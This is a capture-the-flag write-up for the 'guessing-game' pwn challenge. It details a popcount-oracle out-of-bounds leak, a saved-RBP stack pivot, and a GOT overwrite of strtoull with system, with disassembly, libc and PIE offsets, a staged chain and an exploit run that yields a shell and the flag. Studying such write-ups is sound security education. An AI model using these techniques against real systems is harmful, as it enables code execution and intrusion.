guessing-game

Arch:     amd64-64-little
RELRO:    Partial RELRO      <- GOT is writable
Stack:    No canary found
NX:       enabled
PIE:      enabled
libc:     glibc 2.41 (Debian GLIBC 2.41-12+deb13u3)
          sha1 d2aef9a2480ea24fb3be8f1741826ae30a0cb48f

This guessing game has two bugs: an unbounded OOB read that leaks through a popcount side channel, and a saved-RBP overwrite that gives a stack pivot. The main challenge is not finding these vulnerabilities, but overcoming the fact that the obvious way to combine them leads to a dead end. The solution is to avoid targeting the pivot at a one_gadget.

1. The binary

main sets the three stdio streams to _IONBF and calls challenge, which builds a 10-element answer array from rand() and loops on a menu.

void challenge(void) {
    uint64_t answers[10];              // rbp-0x90 .. rbp-0x48
    uint64_t correct_mask = 0;         // rbp-0x40
    uint64_t guessed_mask = 0;         // rbp-0x38
    uint64_t guess, choice, index, bit;// rbp-0x30, -0x28, -0x20, -0x18

    memset(answers, 0, 0x80);
    srand(time(NULL));
    for (size_t i = 0; i <= 9; i++) answers[i] = rand();

    for (;;) {                                     // loop top = challenge+0x7b
        print_answers(correct_mask, guessed_mask);
        print_menu();
        choice = read_num("Choice");
        if (choice == 0) break;
        if (choice != 1) continue;

        index = read_num("Index");
        guess = read_num("Value");
        bit   = 1UL << (index & 0x3f);
        guessed_mask |= bit;

        if (answers[index] == guess) { puts("Correct!"); correct_mask |= bit; }
        else printf("Wrong, you got %d bits wrong\n\n",
                    __popcountdi2(answers[index] ^ guess));
    }
    submit();
}

read_num reads into a 0x20-byte buffer at rbp-0x30 inside a 0x40-byte frame, using fgets(buf, 0x20, stdin), and converts it with strtoull(buf, NULL, 10). Because of this, index and guess are unrestricted 64-bit unsigned integers. The buffer is cleared with memset afterwards, leaving no residual data.

Frame layout

Because the OOB read is indexed off rbp with the same displacement as answers, every stack slot has a corresponding index:

2. Bug 1: unbounded OOB read and popcount oracle

The binary compiles answers[index] without bounds checking:

1458:  mov    rax, QWORD PTR [rbp-0x20]        ; index, attacker-controlled u64
145c:  mov    rdx, QWORD PTR [rbp+rax*8-0x90]  ; <-- arbitrary offset read
1464:  mov    rax, QWORD PTR [rbp-0x30]        ; guess
1468:  cmp    rdx, rax
...
14a3:  mov    rdi, rax                         ; guess ^ answers[index]
14a6:  call   __popcountdi2
14bc:  call   printf                           ; "you got %d bits wrong"

Using a chosen guess value makes popcount(V ^ guess) a reliable oracle to recover V:

• If guess = 0, the output is p0 = popcount(V).
• If guess = 1<<j, the output is p0 - 1 if bit j of V is set, or p0 + 1 if it is not.

Recovering a userspace pointer takes 49 queries: the baseline plus 48 bit flips. Only 48 because bits 48 to 63 of any userspace address are zero, so there is nothing up there to probe. A genuinely arbitrary 64-bit value would need 65. The total popcount check popcount(V) == p0 doubles as a guard that no bit at or above 48 was set. Since negative indices wrap through the 64-bit space, we can read any address on the stack, including values below rsp.

3. Bug 2: saved-RBP overwrite and stack pivot

1253:  push   rbp
1254:  mov    rbp, rsp
126d:  mov    rcx, rbp
1278:  mov    rdi, rcx          ; rdi = &saved_rbp of submit's own frame
127b:  call   fgets             ; fgets(rbp, 8, stdin)
1281:  pop    rbp               ; rbp = 7 attacker bytes + NUL
1282:  ret

The submit function reads into the saved RBP slot with a size of 8, so at most 7 bytes plus a NUL terminator. When challenge returns, rbp contains these attacker-controlled bytes. The program then executes:

14d2:  leave                    ; rsp = rbp = X ; pop rbp -> rbp = [X]
14d3:  ret                      ;                 rip     = [X+8]

Pivoting to an address X sets rbp to the value at X and RIP to the value at X+8 at the same time.

To set X precisely, send 6 address bytes followed by a null byte. The input should be exactly 7 characters without a newline, causing fgets to stop and append a null terminator at buf[7]. Sending addr + "\n" instead puts 0x0a at byte 6 and corrupts the qword. Any 0x0a byte inside the 6 address bytes truncates the read, costing a reconnect on roughly 1% of stacks.

4. The dead end

The most direct target is X = rbp_c-0x38. This sets rbp to guessed_mask and RIP to guess, using the rest of the frame for the ROP chain:

rsp -> rbp_c-0x38  guessed_mask   -> popped into rbp
       rbp_c-0x30  guess          -> RIP
       rbp_c-0x28  choice         == 0, forced (it's the loop-exit condition)
       rbp_c-0x20  index          dereferenced by the OOB read
       rbp_c-0x18  bit            1 << n

Only one stack slot can hold a gadget address. guessed_mask is popped into rbp, not RIP, so guess is the single slot that feeds the instruction pointer. The slot after it is choice, which must be 0 to trigger the call to submit, meaning any chain longer than a single gadget returns to a null pointer. Additionally, index cannot store a gadget address, because the program scales this value by 8 and dereferences it in the same loop iteration, causing an immediate crash.

This limits us to a one_gadget, but the register states conflict with the constraints of the available options. For example, 0xddf83 requires:

0xddf83 execve("/bin/sh", rbp-0x40, r13)
  address rbp-0x38 is writable
  rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv

While we control rbp, rdi = 0x7f…7c0 points to an empty string at the time of the pivot. This results in argv pointing to ["/bin/sh", "", NULL], which makes the shell exit immediately. Adding a pop rdi; ret gadget to consume the forced zero requires placing it in the slot occupied by index, which cannot hold a valid pointer due to the dereference. Other posix_spawn options keyed off r8/r9 (both conveniently 0) require rdx == NULL or specific constraints on the memory it references (where the check (s32)[rdx+4] <= 0 must hold). In this binary, rdx holds a stdio flags value 0xfbad208b, which points to unmapped memory, causing a crash during the constraint check.

This is the main obstacle. The single usable slot is spent on a gadget whose preconditions cannot be met.

5. The way out: pivot back into the game loop

A saved-RBP pivot updates two registers. Instead of using guess for a one_gadget, we can redirect execution back to the loop:

guess         = PIE + 0x13a6     ; challenge+0x7b, top of the game loop
guessed_mask  = fake_rbp         ; arbitrary, built bit by bit

Restarting the loop with a controlled frame base makes every frame variable point to a chosen address. This provides two stronger primitives:

This approach avoids register constraints and can be run repeatedly.

Modifying the GOT

Because the binary uses partial RELRO, the GOT remains writable. The read_num function provides a target:

fgets(buf, 0x20, stdin);        // buf = our input
strtoull(buf, NULL, 10);        // rdi = buf

If we overwrite strtoull@got with the address of system, the next input to the menu is passed directly to system. Setting fake_rbp = strtoull@got + 0x30 aligns the frame variables with the GOT entries:

Functions like puts, printf, and memset are below this range and remain unmodified. The only active entry affected is fgets@got, which receives the update guessed_mask |= bit. We can select an index whose corresponding bit is already set in libc+0x7e670. The libc base does not even need to be known for this: the base is page-aligned, so the low 12 bits are always 0x670 and bit 4 is always the lowest set bit. The write sequence also ensures that the system overwrite occurs after read_num has finished using strtoull to process the input:

1428:  call   read_num                  ; still the real strtoull
142d:  mov    QWORD PTR [rbp-0x30], rax ; strtoull@got := system
1454:  mov    QWORD PTR [rbp-0x38], rax ; fgets@got |= bit  (no-op)

On the next iteration, read_num calls the overwritten pointer, executing system("/bin/sh\n").

6. The real constraint: guessed_mask is OR-only

The value of fake_rbp is set via guessed_mask, which only accumulates bits:

guessed_mask |= 1UL << (index & 0x3f);   // every round, unconditionally

Every oracle query sets the bit at index & 0x3f. Therefore, fake_rbp must be a superset of all bits set during the leak phase.

Leaking from indices 18, 19, and 21 (saved RBP, PIE return, and libc return) sets bits 18, 19, and 21, requiring fake_rbp to contain 0x2C0000. However, fake_rbp must point to a writable stack page. Since the stack allocation is limited to 0x21000 bytes, only bits 0 to 16 can be chosen freely. Bits 18, 19, and 21 are determined by ASLR, giving a 1-in-8 chance of alignment per connection.

To bypass this, we can avoid indices 18, 19, and 21. The stack contains other pointers left by ld.so and printf at indices with lower bit positions, which can be found by scanning for equivalent pointers sitting at indices with low bit numbers and verifying them through the oracle in each target environment:

This uses only bits 7, 9, and 10. fake_rbp only needs flexibility in its lowest 14 bits, allowing it to be placed roughly 28 KB below rsp. This target lies within the unallocated portion of the 0x21000 stack VMA, which the process has not yet modified.

Because these pages are initialized to zero by the kernel, [fake_rbp-0x38] starts at zero. This allows the mask to be set to an exact value instead of a superset, enabling the relocation of rbp onto the GOT.

Practical details

Stack alignment: The pivot leaves the stack pointer at rsp = X + 0x10. If X = rbp_c-0x38, this results in rsp aligned to 8 modulo 16. While printf and puts tolerate this misalignment, system executes movaps [rsp+0x50], xmm0 and will SIGSEGV. Because the stack pointer at stage 3 becomes fake_rbp - 0x28, choosing fake_rbp to be congruent to 8 modulo 16 aligns the stack correctly for system.

Patched binary differences: Analysis on a binary modified with patchelf placed a candidate at idx -436, corresponding to PIE+0x606b, whereas the original binary had it at PIE+0x603. The extra ELF segments shifted stack offsets. The offsets used here were verified against the container environment.

7. Full chain

stage 1  (rbp = real frame)
  leak idx -247 / -249 / -246          -> rbp_c, libc, pie   (bits 7,9,10)
  OR guessed_mask up to fake_rbp       (fake_rbp ≡ 8 mod 16, ~28KB below rsp)
  guess = pie + 0x13a6                 (sent via index 3)
  choice = 0 -> submit -> send p64(rbp_c - 0x38)[:6] + b"\x00"
       leave;ret  ->  rbp = fake_rbp,  rip = loop top

stage 2  (rbp = fake_rbp, all slots zeroed)
  OR guessed_mask to exactly pie + 0x4058   (= strtoull@got + 0x30)
  guess = pie + 0x13a6                      (sent via index 3)
  choice = 0 -> submit -> send p64(fake_rbp - 0x38)[:6] + b"\x00"
       leave;ret  ->  rbp = strtoull@got + 0x30,  rip = loop top

stage 3  (rbp = GOT)
  index = a bit already set in libc+0x7e670   (fgets@got OR is a no-op)
  guess = libc + 0x53110                      -> strtoull@got := system
  next "Choice: " prompt  ->  send "/bin/sh"  ->  system("/bin/sh\n")

Note the index = 3 on both pivot queries. Every query ORs 1 << (index & 0x3f) into guessed_mask, including the one that only exists to set guess, so the index is not free. Bit 3 is safe because pick_fake_rbp forces fake_rbp % 16 == 8 and because pie + 0x4058 is page-aligned with low bits 0x058, so both targets already have bit 3 set. Pick a different index and you silently corrupt the mask.

The exploit is 12/12 reliable locally, uses 199 queries, and takes about 5 seconds over TLS, most of which is a fixed 1-second sleep and the receive drain rather than the roughly 1.5 seconds of actual work. The primary failure mode is a newline byte (0x0a) falling inside the address string rbp_c - 0x38. With rbp_c 16-byte aligned and the top byte fixed at 0x7f, only about three bytes are genuinely free, so this costs a reconnect on roughly 1% of stacks.

$ python3 exploit.py guessing-game-....challs.brunnerne.xyz 1337 --ssl
[+] rbp_c 0x7ffd24dfb710 | libc 0x7efd1a999000 | pie 0x56267f372000  (147 q, 0.4s)
[+] leak bits [7, 9, 10] | fake_rbp 0x7ffd24df4688 (rbp_c-0x7088)
[+] stage2 live (rbp=fake_rbp)
[+] stage3 live (rbp=0x56267f376058 = strtoull@got+0x30)
[+] strtoull@got := system(0x7efd1a9ec110)  [no-op OR bit 4]
[*] 199 queries, 5.0s
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/app
brunner{stack_pivot_master}

8. Takeaways

• A saved-RBP pivot provides control over both rbp and RIP because leave; ret executes rbp = [X] and RIP = [X+8]. Treating it solely as instruction pointer control makes the exploit vulnerable to register constraints.
• Directing execution back to the loop avoids register precondition issues by using the program’s existing structure as the exploit mechanism.
• The accumulation constraint on guessed_mask can be managed by selecting leak indices based on their active bits.
• Verification checks like validating invariants such as libc & 0xfff == 0, pie & 0xfff == 0, and a bounded stack range help turn silent environment-specific failures into obvious ones. This allows local and remote stack alignment differences to be caught in a single run.